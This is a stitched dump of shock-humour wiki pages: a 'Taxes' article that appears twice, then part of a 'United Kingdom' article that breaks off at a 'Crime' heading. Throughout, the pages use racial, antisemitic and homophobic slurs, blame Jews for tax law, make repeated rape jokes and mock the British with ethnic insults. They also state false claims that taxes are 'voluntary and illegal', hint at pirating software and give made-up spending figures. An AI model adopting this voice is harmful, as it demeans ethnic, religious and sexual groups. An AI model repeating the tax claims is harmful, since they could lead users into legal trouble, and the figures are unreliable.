There are [[Suck ups|those,]] who have been [[brainwashed|convinced]] to the point where they find paying taxes as a moral obligation to live in society implying that [[childbirth|everyone had the choice to live in society]]. (FUN FACT: America didn't always have direct taxation.) In fact, Americans have been so brainwashed to the point that if anyone questions the way of taxation, these [[Retard|tax-lovers]] will get so [[butthurt|pissed off]] that they'll scream and tell the questioner to leave and go to Somalia. (ANOTHER FUN FACT: [[Hypocrites|these people]] never left the US themselves.) Americans believe that [[Lies|tax-evaders are worse than terrorists.]] (YET ANOTHER FUN FACT: The Founding Fathers were tax-evaders.) Speaking against taxation in America is like calling [[Muhammad]] a pig-fucker in Mecca.

== Types of Taxation ==

[[Image:Tax2.jpg|thumb|175px|1040 form. America's favorite dildo when rolled up.]]
[[Image:Tax3.JPG|thumb|175px|1040EZ form. Its for those who are poor and want money back.]]

{{quote|Taxation with representation ain't so hot either.|Another wise old saying.}}

There are two main types of taxation. One is direct tax, which means you have to pay a set amount every year. The other type of taxation is indirect tax, which is when they rape you when you go to buy a [[Smoking|pack of cigarettes.]]

[[Rape|In fact, there really aren't two different types of tax and this whole page should just re-direct to rape anyways, because that is what taxes are. Rape.]]

== How Taxes Affect You ==
[[Image:penny.jpg|thumb|175px|couple hundred more of these and I can get a beavertail]]
[[Image:Stephenharper 5percent.jpeg|thumb|175px|HOLY SHIT!!!111!!! you are god!]]
[[Image:Tax17.jpg|thumb|175px|Welfare mothers, angry about tax cuts]]
[[Image:Tax4.jpg|thumb|175px|Americans spend 4 months of the year earning money to pay taxes...and 4 months of looking at this guy.]]

{{quote|The taxpayer - that's someone who works for the federal government but doesn't have to take the civil service examination.|Ronald Reagan - noted tax expert}}

Since you are the [[Poor|low man on the taxation totem pole,]] you, and your peers, are the only ones who are effected by taxation. When a tax is levied against a [[Business|business,]] they just [[Inflation art|raise]] their pricing to defer the money that they are losing. If that does not work and the company is still not making money, they then go and lower the amount of money they pay out to their employees. Finally, if that still doesn’t work, the employer will lower the benefits that employees receive to further cut their tax cost.

[[Bum|Even if you do not work,]] this still effects you. Since you have to go out and buy products or services, now you have to deal with the employees of taxed companies. Since they are pretty much [[Anger|pissed off]] about their lack of wages and benefits, you get shitty service and higher prices.

If, you happen to be lucky enough to be [[Money#Riches|rich,]] you support [[Teenmommies|everybody.]], and your [[Tony_Blair|leader]] who claims to support the working class like a good left-winger can buy his third house.

== How Elected Officials Use Tax Money ==
[[Image:Tax19.jpg|thumb|175px|Average receipent of a tax refund]]
Contrary to popular belief, only 00.000000000000001% of the money that is stolen from you goes to benefit your country/state/city/region/etc. The rest of the 99.999999999999999% goes to shit like,

* '''[[Prostitute|Hookers]]'''
* '''[[Cocaine#Cocaine|Blow]]'''
* '''[[Hookers and blow|Hookers and Blow]]'''
*'''[[1984|Enforcement of Wrongthink]]'''
*'''[[Mind control]]
*'''[[Shit|Useless AI datacenters]]'''
* '''[[Las Vegas]]'''
* '''[[Hell|Mass Surveillance]]'''
*'''[[Pedophilia]]'''(Yes, there are taxpayer funded cameras that [[sick fucks]] use to watch kids)
*'''[[Cop|Pigs beating the shit out of people]]
*'''[[Lies|Propaganda]]'''
*'''[[Porn|Mercenary Spyware]]'''
* '''[[JEWS DID WTC|Private Jet''']]
* '''[[Cock|Pork.]]'''
* '''[[Bill Clinton|Employing their deadbeat brother]]'''
* '''[[Britain|Housing, feeding and educating every Third World wog and nigger.]]'''
* '''[[Japan|And of course, Nukes... shitloads of Nukes.]]'''

== Taxes in [[Canada]] ==

In the great land of [[Canada]], [[shit nobody cares about|the two types of taxes are the goods and services tax (gst) plus the provincial sales tax (pst), combined into the wonder all in one Harmonized sales tax( Hst).]] For years the rate for the gst was a standard 7% , but then cowboy harper stepped in and lowered it to 6% and then 5%. MOST people would be happy over this, however since the change, the rate for New Brunswick went from 15% to 13%, making use of millions of more pennies every year and pissing off people when they empty out their pockets. Thanks

== Ethical Basis for Taxes ==

[[Image:Tax1.gif|thumb|175px|Infrustructure!!!]]
[[Image:Tax8.jpg|thumb|175px|Page 1345 of the United States Tax Code - Explaining how to deal with delinquent taxpayers.]]

{{quote|Did you ever notice that when you put the words "The" and "IRS" together, it spells "THEIRS?"|Yet another wise old saying}}

The [[Jews|people]] who [[Evil|make up the tax laws]] and then carry them out make a case that taxes are ethical as [[bullshit|they are used for the public good]].

'''Examples of how some of the 2008 Tax Monies are being used:'''

*[[Bridge to Nowhere]], Alaska: 2 million dollars

*Big Dig Project, [[Massachusetts]]: 14.6 billion dollars to build a 3.5 mile tunnel

*7.5 million dollars spent on [[Alcohol|wine]] research

*5.5 million for people to visit farms in [[Ohio]]. Was termed “Innovative Food Technology”

*14 million dollars to research pasture land in [[Mormon|Utah]]

*4.6 million dollars to “increase the public image of [[Alcohol|beer”]] by the National Hops Institute

*1.7 million dollars given to the Ben Franklin Turkey fund…they still want to make the national bird the [[Turkey]] and get rid of the Bald Eagle.

== Tax Software ==

{{quote|I have been really sick. When turbo tax sent my 3rd rejection notice I just sat and cried, not only about the money I lost but I could not get any help from anyone.|Merl of Ainsworth NE}}

There are [[Almost raped|many ways to file taxes]] via the [[Internets|internet]] or by using various [[Warez|software.]] However, when the United States Secretary of the Treasury, [http://en.wikipedia.org/wiki/Timothy_F._Geithner#Tax_problems/ Tim Geitner,] cannot file his own taxes with TurboTax, and even ends up under investigation, you can see how [[:File:Helpful_cat.jpg|helpful]] these programs and websites actually are to the [[Fucktard|average taxpayer.]]

'''Here is a list of popular tax software websites that look like they were designed by the same people who make porn websites. On these links, you will be able to [[Pirate Bay|find tax software to do your taxes.]]''' <---or you could just click that link, hint hint.

*'''[http://turbotax.intuit.com/ TurboTax is probably the most popular, and most problematic.]'''
*'''[http://www.hrblock.com/ HR Block's website...where you are greeted with a happy, smiling face...as they rip you off.]'''
*'''[http://www.taxact.com/ TaxAct, where you can e-file for free...what they don't tell you is that it works only half the time.]'''
*'''[http://www.taxslayer.com/ TAX SLAYER ROCK ON!!!]'''
*'''[http://www.taxbrain.com/ TaxBrain - which is the most expensive of all of the e-filers, and it gets the second worse grade.]'''

While all of these programs do [[Redundant|just about the same thing,]] they are all prone to their own foibles. Sometimes the user is better off just not paying their taxes at all rather than to put up with the hoops they have to jump through.

'''Here are some negative testimonials:'''

{{squote|Turbo Tax has advertised $29.95 to file state, I filed both Fed and State, was returned twice with no reason, I submtted it a 3rd time, was approved, but than I charged additional $34.95 for re filing. I never changed anything the 4 times it was submitted.|Jaime commenting on TurboTax}}

{{squote|I paid $59.95 for the Deluxe verion with free efile. Sure, the efile was free but they charged me $29.95 to process my refund through Santa Barbara Bank!|Dorothy, commenting on TurboTax}}

{{squote|the worse part about turbo tax is that there is no way to get in contact with them. no number to call reach a person to to talk to or anything, to me that is messed up. i have to mail all of my paperwork to the IRS even though i had already paid turbo tax my fee for using their services.|Jeymi, another disgruntled user}}

{{squote|DO NOT USE TURBO TAX ONLINE! I am VERY disenchanted with this service. The free e-filing isn't free!! I feel as though I've been nickeled and dimed by this company.|Amanda, who filed online}}

{{squote|I spent $50 for a product that doesn't work.|David, who, despite being cool, doesn't use TAX SLAYER any more}}

== Taxes Around the Internet ==

There are several web [[Forum|messageboards]] dedicated to helping taxpayers and to giving out free information regarding tax laws. The main problem with this is that [[Idiot|anybody]] can jump online at the local library and ask the most idiotic questions imaginable. Here are some of those web messageboards:

*[http://www.thetaxbook.com/forums/forumdisplay.php?f=2/ Some Jews]
*[http://community.lawyers.com/messageboards/board.asp?channelId=19&mbId=43/ MOAR Jews]
*[http://messageboards.aol.com/aol/en_us/boards.php?boardId=538396&func=2&channel=Personal+Finance/ AOL's Tax Q&A board]

== Gallery of Stupid Questions ==

It is astounding what [[Liar|people think they can get away with.]] Also, it is quite amazing that grown adults still think of the government as [[Friend|"a friend."]]

<center>
<gallery>
Image:Tax30.jpg|Wake up honey
Image:Tax31.jpg|I AM USING [[ALL CAPS|CAPS LOCK]] BECAUSE MY SHIFT BUTTON IS BROKEN
Image:Tax32.jpg|Yes, in the wonderful and magical land of [[Minnesota]], you can deduct dance classes...
Image:Tax33.jpg|How do I shot taxes?
Image:Tax34.jpg|You can claim whatever you want, what the IRS choose to let you actually use is a different story.
Image:Tax35.jpg|Welcome to the IRS, is this your first time?
Image:Tax36.jpg|This guy is lucky there is no such thing as Debtor's Prison
Image:Tax37.jpg|Same with this guy
Image:Tax38.jpg|One hand is not watching what the other hand is doing
Image:Tax39.jpg|Fishing is taxable?!?!?!!?
Image:Tax40.jpg|Even amid the desparate battle, these two have managed to find love
Image:Bob-and-doug-mckenzie.jpg|They have taxes, too!
</gallery>
</center>

== Video ==

<center>'''You don't have to pay taxes because they are voluntary and illegal!!!'''</center> 

<center><youtube>R7mRSI8yWwg</youtube><youtube>W5UcPeSb8kg</youtube></center> 

<center>'''Typical family preparing a tax return while some whore does taxes in her bikini'''</center> 

<center><youtube>jr2DO_DMUfM</youtube><youtube>xttlLihWsfg</youtube></center>

== Gallery of Raep ==

<center>
<gallery>
Image:Rape10.png|The Government is ever the opportunist.
Image:Rape11.jpg|Another lax taxpayer.
Image:Rape13.jpg|These girls are paying the only way they know how
Image:Tax15.jpg|Typical
Image:Tax16.jpg|Taxation at gunpoint
Image:Tax18.jpg|Taxes go to publicly funded schools...oh shi-
Image:Tax20.jpg|Wont you please think of the needy?
Image:Tax21.gif|IRS meeting
Image:Tax22.jpg|Seen on Tax assessor's desk
Image:Tax5.jpg|Typical IRS home visit
Image:Tax9.jpg|It must be April 16th
Image:Tax7.jpg|He didn't file on time
Image:tax form.jpg|Simplified Taxation Form
</gallery>
</center>

== See Also ==

*[[Rape|This is a given]]
*[[Buttsecks|This is also a given]]
*[[Rape Checklist|Want to work for the IRS? Here is a checklist!]]
*[[Goatse|April 15th EVERY year]]
*[[Libertarianism]]

== External Links ==

* [http://www.cagw.org/site/PageServer?pagename=reports_porkbarrelreport/ Taxpayer Watchdog]
* [http://www.irs.gov/ THE man]
* [http://www4.law.cornell.edu/uscode/26/ Tax Code - explains how and why rape occurs]

{{politics}}
{{timeline|Featured article October 3 & 4, [[2016]]|[[BeCandid]]|{{PAGENAME}}|[[Misha Silenosti]]}}
[[Category:Faggotry]]

Taxes

2026-07-27T00:47:43Z

SmidgeX2:

{{Spoiler|[[BAWWW|TACKSEZ ARE TEH GUVERMINTS STEALING FROM YOU!!!]]}}

[[Image:Tax14.jpg|thumb|175px|Preparing for the Rape to come.]]

'''Taxes''' are a financial charge or levy on an individual or legal entity created and designed by the Jews to support [[Dan Bailey|infrastructure projects]], [[Government|government agencies]], and [[Nigra|negros]]. Taxes penalize those who work by taking their stuff and giving it to people who don’t work. Taxes, along with [[Death]] are the only two certainties in life, unless you are [[gay]] which means that the third certainty of life is [[AIDS]] and is a precursor to [[Death]].

== Definition ==

'''Taxes'''

* Pronunciation:

('''tæk sez''')

* As a noun:
# Removal of charity by gunpoint.
# Where the government takes your money to perform a duty you should have done anyways. Once the government has the money, the duty is not performed, or performed unsatisfactorily.

Use '''''taxes''''' in a Sentence:

{{colortext|blue|Whenever I see lazy Puerto Ricans I think of how my '''''taxes''''' paid for their health care and welfare.}}

* As a verb:
# To drain.

Use '''''taxes''''' in a Sentence:

{{colortext|blue|Just thinking about the 1040 forum '''''taxes''''' my constitution.}}

== History ==

[[Image:Rape12.jpg|thumb|175px|Romans were known to be excellent tax collectors]]
[[Image:Tax6.jpg|thumb|175px|It must be April 15th]]

{{quote| In this world nothing is certain but [[death]] and taxes|that dude on that 100 dollar thing}}

'''To Tax''' comes from the [[Latin]] root word '''''“tangere”''''' which means to [[Buttsecks|anally rape]] with a chainsaw. Nobody is quite sure who started this form of [[Theft|theft,]] but many scholars believe that taxes were initially invented by the [[Egypt|Egyptians]] around [[Last Thursday|3000 BC.]] It went something like this:

*''' Pharaoh needs new pyramid or monument built.'''

*''' Pharaoh sends out his [[Slavery|minions]] to collect money for monument.'''

*''' Pharaoh’s subjects give money to the minions. Those who refuse to pay are beaten and robbed anyways. Those without anything to give are either placed in [[Prison|prison]] or made into [[BDSM|slaves.]] Not all taxes, especially back then, were in the form of money, mostly it was in the form of grain, farm animals, or [[Fellatio|blow jobs.]]'''

*''' Pharaoh combines all of the [[Looting|loot]] into a big pile, takes his cut, then shares it out amongst his friends. Some of the [[Booty|booty]] is used to make the pyramid.'''

== Purpose ==

{{quote|When there's a single thief, it's robbery. When there are a thousand thieves, it's taxation.|Old, but wise saying}}

Taxation has four main purposes, these are [[Rape|Revenue,]] [[Rape|Redistribution,]] [[Rape|Repricing,]] and [[Rape|Representation.]] None of these purposes matter much considering the fact that all of it is [[Communism|redistributed]] to some non-working fuck who lays around on his couch watching television all day on your dime.

There are [[Suck ups|those,]] who have been [[brainwashed|convinced]] to the point where they find paying taxes as a moral obligation to live in society implying that [[childbirth|everyone had the choice to live in society]]. (FUN FACT: America didn't always have direct taxation.) In fact, Americans have been so brainwashed to the point that if anyone questions the way of taxation, these [[Retard|tax-lovers]] will get so [[butthurt|pissed off]] that they'll scream and tell the questioner to leave and go to Somalia. (ANOTHER FUN FACT: [[Hypocrites|these people]] never left the US themselves.) Americans believe that [[Lies|tax-evaders are worse than terrorists.]] (YET ANOTHER FUN FACT: The Founding Fathers were tax-evaders.) Speaking against taxation in America is like calling [[Muhammad]] a pig-fucker in Mecca.

== Types of Taxation ==

[[Image:Tax2.jpg|thumb|175px|1040 form. America's favorite dildo when rolled up.]]
[[Image:Tax3.JPG|thumb|175px|1040EZ form. Its for those who are poor and want money back.]]

{{quote|Taxation with representation ain't so hot either.|Another wise old saying.}}

There are two main types of taxation. One is direct tax, which means you have to pay a set amount every year. The other type of taxation is indirect tax, which is when they rape you when you go to buy a [[Smoking|pack of cigarettes.]]

[[Rape|In fact, there really aren't two different types of tax and this whole page should just re-direct to rape anyways, because that is what taxes are. Rape.]]

== How Taxes Affect You ==
[[Image:penny.jpg|thumb|175px|couple hundred more of these and I can get a beavertail]]
[[Image:Stephenharper 5percent.jpeg|thumb|175px|HOLY SHIT!!!111!!! you are god!]]
[[Image:Tax17.jpg|thumb|175px|Welfare mothers, angry about tax cuts]]
[[Image:Tax4.jpg|thumb|175px|Americans spend 4 months of the year earning money to pay taxes...and 4 months of looking at this guy.]]

{{quote|The taxpayer - that's someone who works for the federal government but doesn't have to take the civil service examination.|Ronald Reagan - noted tax expert}}

Since you are the [[Poor|low man on the taxation totem pole,]] you, and your peers, are the only ones who are effected by taxation. When a tax is levied against a [[Business|business,]] they just [[Inflation art|raise]] their pricing to defer the money that they are losing. If that does not work and the company is still not making money, they then go and lower the amount of money they pay out to their employees. Finally, if that still doesn’t work, the employer will lower the benefits that employees receive to further cut their tax cost.

[[Bum|Even if you do not work,]] this still effects you. Since you have to go out and buy products or services, now you have to deal with the employees of taxed companies. Since they are pretty much [[Anger|pissed off]] about their lack of wages and benefits, you get shitty service and higher prices.

If, you happen to be lucky enough to be [[Money#Riches|rich,]] you support [[Teenmommies|everybody.]], and your [[Tony_Blair|leader]] who claims to support the working class like a good left-winger can buy his third house.

== How Elected Officials Use Tax Money ==
[[Image:Tax19.jpg|thumb|175px|Average receipent of a tax refund]]
Contrary to popular belief, only 00.000000000000001% of the money that is stolen from you goes to benefit your country/state/city/region/etc. The rest of the 99.999999999999999% goes to shit like,

* '''[[Prostitute|Hookers]]'''
* '''[[Cocaine#Cocaine|Blow]]'''
* '''[[Hookers and blow|Hookers and Blow]]'''
*'''[[1984|Enforcement of Wrongthink]]'''
*'''[[Mind control]]
*'''[[Shit|Useless AI datacenters]]'''
* '''[[Las Vegas]]'''
* '''[[Hell|Mass Surveillance]]'''
*'''[[Pedophilia]]'''(Yes, there are taxpayer funded cameras that [[sick fucks]] use to watch kids)
*'''[[Cop|Pigs beating the shit out of people]]
*'''[[Lies|Propaganda]]'''
*'''[[Porn|Mercenary Spyware]]'''
* '''[[JEWS DID WTC|Private Jet''']]
* '''[[Cock|Pork.]]'''
* '''[[Bill Clinton|Employing their deadbeat brother]]'''
* '''[[Britain|Housing, feeding and educating every Third World wog and nigger.]]'''
* '''[[Japan|And of course, Nukes... shitloads of Nukes.]]'''

== Taxes in [[Canada]] ==

In the great land of [[Canada]], [[shit nobody cares about|the two types of taxes are the goods and services tax (gst) plus the provincial sales tax (pst), combined into the wonder all in one Harmonized sales tax( Hst).]] For years the rate for the gst was a standard 7% , but then cowboy harper stepped in and lowered it to 6% and then 5%. MOST people would be happy over this, however since the change, the rate for New Brunswick went from 15% to 13%, making use of millions of more pennies every year and pissing off people when they empty out their pockets. Thanks

== Ethical Basis for Taxes ==

[[Image:Tax1.gif|thumb|175px|Infrustructure!!!]]
[[Image:Tax8.jpg|thumb|175px|Page 1345 of the United States Tax Code - Explaining how to deal with delinquent taxpayers.]]

{{quote|Did you ever notice that when you put the words "The" and "IRS" together, it spells "THEIRS?"|Yet another wise old saying}}

The [[Jews|people]] who [[Evil|make up the tax laws]] and then carry them out make a case that taxes are ethical as [[bullshit|they are used for the public good]].

'''Examples of how some of the 2008 Tax Monies are being used:'''

*[[Bridge to Nowhere]], Alaska: 2 million dollars

*Big Dig Project, [[Massachusetts]]: 14.6 billion dollars to build a 3.5 mile tunnel

*7.5 million dollars spent on [[Alcohol|wine]] research

*5.5 million for people to visit farms in [[Ohio]]. Was termed “Innovative Food Technology”

*14 million dollars to research pasture land in [[Mormon|Utah]]

*4.6 million dollars to “increase the public image of [[Alcohol|beer”]] by the National Hops Institute

*1.7 million dollars given to the Ben Franklin Turkey fund…they still want to make the national bird the [[Turkey]] and get rid of the Bald Eagle.

== Tax Software ==

{{quote|I have been really sick. When turbo tax sent my 3rd rejection notice I just sat and cried, not only about the money I lost but I could not get any help from anyone.|Merl of Ainsworth NE}}

There are [[Almost raped|many ways to file taxes]] via the [[Internets|internet]] or by using various [[Warez|software.]] However, when the United States Secretary of the Treasury, [http://en.wikipedia.org/wiki/Timothy_F._Geithner#Tax_problems/ Tim Geitner,] cannot file his own taxes with TurboTax, and even ends up under investigation, you can see how [[:File:Helpful_cat.jpg|helpful]] these programs and websites actually are to the [[Fucktard|average taxpayer.]]

'''Here is a list of popular tax software websites that look like they were designed by the same people who make porn websites. On these links, you will be able to [[Pirate Bay|find tax software to do your taxes.]]''' <---or you could just click that link, hint hint.

*'''[http://turbotax.intuit.com/ TurboTax is probably the most popular, and most problematic.]'''
*'''[http://www.hrblock.com/ HR Block's website...where you are greeted with a happy, smiling face...as they rip you off.]'''
*'''[http://www.taxact.com/ TaxAct, where you can e-file for free...what they don't tell you is that it works only half the time.]'''
*'''[http://www.taxslayer.com/ TAX SLAYER ROCK ON!!!]'''
*'''[http://www.taxbrain.com/ TaxBrain - which is the most expensive of all of the e-filers, and it gets the second worse grade.]'''

While all of these programs do [[Redundant|just about the same thing,]] they are all prone to their own foibles. Sometimes the user is better off just not paying their taxes at all rather than to put up with the hoops they have to jump through.

'''Here are some negative testimonials:'''

{{squote|Turbo Tax has advertised $29.95 to file state, I filed both Fed and State, was returned twice with no reason, I submtted it a 3rd time, was approved, but than I charged additional $34.95 for re filing. I never changed anything the 4 times it was submitted.|Jaime commenting on TurboTax}}

{{squote|I paid $59.95 for the Deluxe verion with free efile. Sure, the efile was free but they charged me $29.95 to process my refund through Santa Barbara Bank!|Dorothy, commenting on TurboTax}}

{{squote|the worse part about turbo tax is that there is no way to get in contact with them. no number to call reach a person to to talk to or anything, to me that is messed up. i have to mail all of my paperwork to the IRS even though i had already paid turbo tax my fee for using their services.|Jeymi, another disgruntled user}}

{{squote|DO NOT USE TURBO TAX ONLINE! I am VERY disenchanted with this service. The free e-filing isn't free!! I feel as though I've been nickeled and dimed by this company.|Amanda, who filed online}}

{{squote|I spent $50 for a product that doesn't work.|David, who, despite being cool, doesn't use TAX SLAYER any more}}

== Taxes Around the Internet ==

There are several web [[Forum|messageboards]] dedicated to helping taxpayers and to giving out free information regarding tax laws. The main problem with this is that [[Idiot|anybody]] can jump online at the local library and ask the most idiotic questions imaginable. Here are some of those web messageboards:

*[http://www.thetaxbook.com/forums/forumdisplay.php?f=2/ Some Jews]
*[http://community.lawyers.com/messageboards/board.asp?channelId=19&mbId=43/ MOAR Jews]
*[http://messageboards.aol.com/aol/en_us/boards.php?boardId=538396&func=2&channel=Personal+Finance/ AOL's Tax Q&A board]

== Gallery of Stupid Questions ==

It is astounding what [[Liar|people think they can get away with.]] Also, it is quite amazing that grown adults still think of the government as [[Friend|"a friend."]]

<center>
<gallery>
Image:Tax30.jpg|Wake up honey
Image:Tax31.jpg|I AM USING [[ALL CAPS|CAPS LOCK]] BECAUSE MY SHIFT BUTTON IS BROKEN
Image:Tax32.jpg|Yes, in the wonderful and magical land of [[Minnesota]], you can deduct dance classes...
Image:Tax33.jpg|How do I shot taxes?
Image:Tax34.jpg|You can claim whatever you want, what the IRS choose to let you actually use is a different story.
Image:Tax35.jpg|Welcome to the IRS, is this your first time?
Image:Tax36.jpg|This guy is lucky there is no such thing as Debtor's Prison
Image:Tax37.jpg|Same with this guy
Image:Tax38.jpg|One hand is not watching what the other hand is doing
Image:Tax39.jpg|Fishing is taxable?!?!?!!?
Image:Tax40.jpg|Even amid the desparate battle, these two have managed to find love
Image:Bob-and-doug-mckenzie.jpg|They have taxes, too!
</gallery>
</center>

== Video ==

<center>'''You don't have to pay taxes because they are voluntary and illegal!!!'''</center> 

<center><youtube>R7mRSI8yWwg</youtube><youtube>W5UcPeSb8kg</youtube></center> 

<center>'''Typical family preparing a tax return while some whore does taxes in her bikini'''</center> 

<center><youtube>jr2DO_DMUfM</youtube><youtube>xttlLihWsfg</youtube></center>

== Gallery of Raep ==

<center>
<gallery>
Image:Rape10.png|The Government is ever the opportunist.
Image:Rape11.jpg|Another lax taxpayer.
Image:Rape13.jpg|These girls are paying the only way they know how
Image:Tax15.jpg|Typical
Image:Tax16.jpg|Taxation at gunpoint
Image:Tax18.jpg|Taxes go to publicly funded schools...oh shi-
Image:Tax20.jpg|Wont you please think of the needy?
Image:Tax21.gif|IRS meeting
Image:Tax22.jpg|Seen on Tax assessor's desk
Image:Tax5.jpg|Typical IRS home visit
Image:Tax9.jpg|It must be April 16th
Image:Tax7.jpg|He didn't file on time
Image:tax form.jpg|Simplified Taxation Form
</gallery>
</center>

== See Also ==

*[[Rape|This is a given]]
*[[Buttsecks|This is also a given]]
*[[Rape Checklist|Want to work for the IRS? Here is a checklist!]]
*[[Goatse|April 15th EVERY year]]
*[[Libertarianism]]

== External Links ==

* [http://www.cagw.org/site/PageServer?pagename=reports_porkbarrelreport/ Taxpayer Watchdog]
* [http://www.irs.gov/ THE man]
* [http://www4.law.cornell.edu/uscode/26/ Tax Code - explains how and why rape occurs]

{{politics}}
{{timeline|Featured article October 3 & 4, [[2016]]|[[BeCandid]]|{{PAGENAME}}|[[Misha Silenosti]]}}
[[Category:Faggotry]]

United Kingdom

2026-07-26T13:12:31Z

SmidgeX2:

{{achtung|[[Brexit|The UK is leaving the EU!]] <s>But [[Scotland]] is leaving the UK and joining the EU!</s> lol keep dreaming SNPfags!}}
{{spoilers|Queen Elizabeth II is dead, ding dong the wicked bitch is dead}}
[[Image:Britfag.jpg|thumb|230px|Typical Briton]]
[[File:Morris dancers.gif|thumb|300px|In parts of Britain, traffic signals are worshipped]]
[[File:Hitler%27s_women%27s_hockey_team.jpg|310px|thumb|You're doing it wrong.]]
The '''Country formerly known as the United Kingdom''', also known by its full name, [[TL;DR|The Country formerly known as the United Kingdom of Great Britain and Northern Ireland]], and better known as the Divided Kingdom of Fail Crapton and Northern Terroristville, the Democratic Socialist Peoples Republic of Britistan and the United Kuntdom (UK), is a small turd floating in the seas off the coast of Europe. The natives are universally loathed for their rotten teeth and terrible women, even by other Europeans. National pastimes include wearing women's clothing, eating terrible food, bitching about the [[France|French]], going to Thailand or Eastern Europe to pump and dump cheap whores and venting suppressed military penis-envy towards the [[America|United States]], [[Russia]] and [[Chinks|China]].

National dress consists of bowler hats and smoking jackets which are worn even while bathing and swimming. Despite their history of epic military fails and lack of personal hygiene, they still believe that [[USI|they are the greatest people on the fucking planet.]]

Political opinion and culture in the UK, regardless of whether they are on the [[Communist|left-wing]] or [[Nazi|right-wing]], is best known for it's love of banning everything and anything and generally thinking that they can regulate and prohibit their way to utopia. This thinking has now reached a point where if you find yourself in the UK and you are wondering about the legality of an action, it's best just to assume that it's illegal. There is nothing that you can do legally in the UK that you can't do anywhere else, this combined with the fact that the country has no written constitution or constitutionally enshrined Bill of Rights, makes the UK one of the best examples of "soft core fascism" in the western world.

==Notable Areas==
[[File:Wicker man circle dance.gif|thumb|right|200px|Stonehenge, Wiltshire]]
The United Kingdom is divided into a number of smaller country-ettes, each of which is in its own little world. The imaginary distinctions between each pseudo-nation are painfully important to their denizens, mostly because it gives them something to preen about.

*[[England]]
*[[Londonistan]] ''the capital [[Shitty|city]]''
*[[Scotland]] ''also known as Northern England''
*[[Whales]]
*[[Northern Ireland]]
*Cornywall

==British Culture==
[[File:How British people talk.png|thumb|How British people talk.]]
===Cuisine===
[[Image:Crumpet news.jpg|right|200px]]
British food (with a [[Bacon and eggs|few exceptions]]) is notoriously bad. A majority of the food in the UK is tasteless, yet still [[fat|full of calories]]. This is generally because the majority of British folks (like the rest of Europe) would rather spend their time getting [[alcohol|shitfaced]] drunk every day than to be bothered to prepare meals. Besides, most British women can not cook anything other than crumpets or bacon and eggs, simply because food they try to make instantly violates 46 of the [[Over 9000|9001]] health codes in the UK.

It's unknown however whether the food they eat is a cause or effect of their notoriously bad teeth. [[Some argue]] a dreadful diet leads to tooth decay, while others claim that British dishes were invented solely to be eaten by people who obviously [[oral sex|don't give a shit about what effect it may have on their mouths]].

====The Effect on Teeth====
[[Image:Bad-teeth.jpg|thumb|200px|Genuine British Teeth]]
[[Image:British smiles.png|200px|right]]
[[Image:Ugly People 17.jpg|thumb|200px|right|authentic anglo beauty]]
The most efficient way to identify a Brit living in America or anywhere else in the world is to check his or her teeth. This form of identification only works outside the state of Kentucky. The absolute god-awfulness of their teeth is one of the few faults that the British will '''{{archive|ZJYZ0|actually admit to}} '''. However, as with all things British, they manage to turn this into yet another thing to preen about. Brits do this by endlessly bitching that Americans care too much about teeth.

The lack of dental hygiene of the [[chav|typical]] UK citizen should not be dismissed as nit-picking just because, when compared to the rest of [[India|the world]], they don't seem so bad. Britain, after all, as a First World country and a major player on [[USA|the world stage]] should command [[shit nobody cares about|a modicum of respect]].

However, it should be noted that, unlike in America, dental care is free to people aged under 18; therefore, they have no real excuse. Oldfags must pay £16.50 for an examination and over £9,000 for actual treatment. The money raised by the dentists is invested in the [[irony|candy industry]].

===As Tourists===
[[Image:What defines a british person.jpg|thumb|Google is still accurate]]
When some [[troll|moron]] decided to build the "Chunnel" (a tunnel under the Channel that linked the UK with France) in 1994, all hell broke loose as the "Chunnel"'s sole purpose has proven to be allowing Britain's [[moron|hordes]] of perpetually drunk, violent [[caveman|soccer hooligans]] out of their cages to swarm onto the continent and wreak havoc. Granted, seeing as how this inconvenienced only the French, nobody else really gave a shit.
Much as they deny it, Brits are all mutts full of French, German, Italian and Norse blood, which, considering the [[batshit crazy|volatility]] of those races, probably explains why Brits are so all [[asshat|unpleasant]].

=== Climate ===
Rain. But not for much longer. Thanks to [[global warming]], when the gulf stream shuts down England will be treated to a climate more appropriate to its latitude, which is the same as that of [[Moscow]]. However since global warming is taking a fucking long time to get into gear, it still rains over 93% of the time. The chance of rain is statistically proven to be higher if the BBC says it will be sunny.

=== British Lifestyle ===
[[File:4984765+ 30775c038fda0f1bb2b552f88c2b1c8f.jpg|thumb|200px|GTA Britain would look something like this]]
Your typical British wankball will rise nice and early to pour a a gallon of tea down their ugly throats, and stuff some greasy breakfast into their mouth-holes, skipping brushing their teeth and a shower afterward, before eventually sitting down to glare at the rickety old movin' picture light box for a few hours before work. Typical morning programming will be the day's weather report of rain with a chance of terrorism, then to hear the countries national withered old couple Richard & Judy quickly whisk over some horrific international disaster, before moving onto something more light and entertaining, like an old lady in Dorchester who's renting out her vagina as a bed & breakfast or some shit.

<center>{{frame|<youtube>hAX6yi60OPY</youtube>
<center>'''Richard & Judy morning [[boring|borefest]] dubbed over for [[I did it for the lulz|teh lulz]]'''</center>
|border=blue|background=red}}</center>

Your usual British citizen will then proceed to get up of his fat arse and walk out into the cold dreary rain, battling the weather and sand niggers shouting about how they will kill everyone, to walk into a dull and depressive office building or factory. These gormless bum-pickers will then stare into space for a while, watching the British empire's already crumbled husk sink further into the ground right before their witless eyes. When their break comes, they will gather round to speak ill about other countries, including the British ones. The English will bitch about Scotland and Wales, the Scottish will spout some shit about how they'll become independent, the Welsh will struggle to blink and talk at the same time, and the North Irish will run quickly from the daily pipe bomb that was just thrown through the window. The women of the country will stay at home being ugly. Other activities include squawking to their equally unattractive next door neighbor, both looking like melting wax sculptures of Cilla Black as they gossip about how the man across the road is probably a paedophile, or smacking their tiny chav spawn who run around in the streets flashing their bums and flinging rocks at passers by.

Britons will spend their free time drinking themselves to an early grave. Once work is over, thousands of them from lower to upper class all flock like an avalanche of hobos to their nearest drinking hole. Activities in these places will usually involve chatter about the last football game and loud insipid conversations about bloody immigrants before they all glass each other into unconsciousness. The upper class isn’t any different, perusing piss stained nightclubs and bars, pouring ridiculously expensive booze into their mouths and shoving even more expensive weak coke up their nostrils. In the middle of drinking they will make their way to the Lou that consists of a trough, a sink, a toilet that hasn't been cleaned in months, and three urinals at which men will hock loogies (gob as they say) and spit it on the floor or the wall in front of them. They'll return to their festivities, after not washing their hands of course. All this in an effort to make the make-up caked British sluts that totter around the streets just vaguely fuckable. Then everyone wakes up with a hangover to another dreary morning and the cycle starts again. God save the queen.

===Crime===
[[Image:British Police.jpg|thumb|200px|The British police (Yes, they are this [[gay]])]]
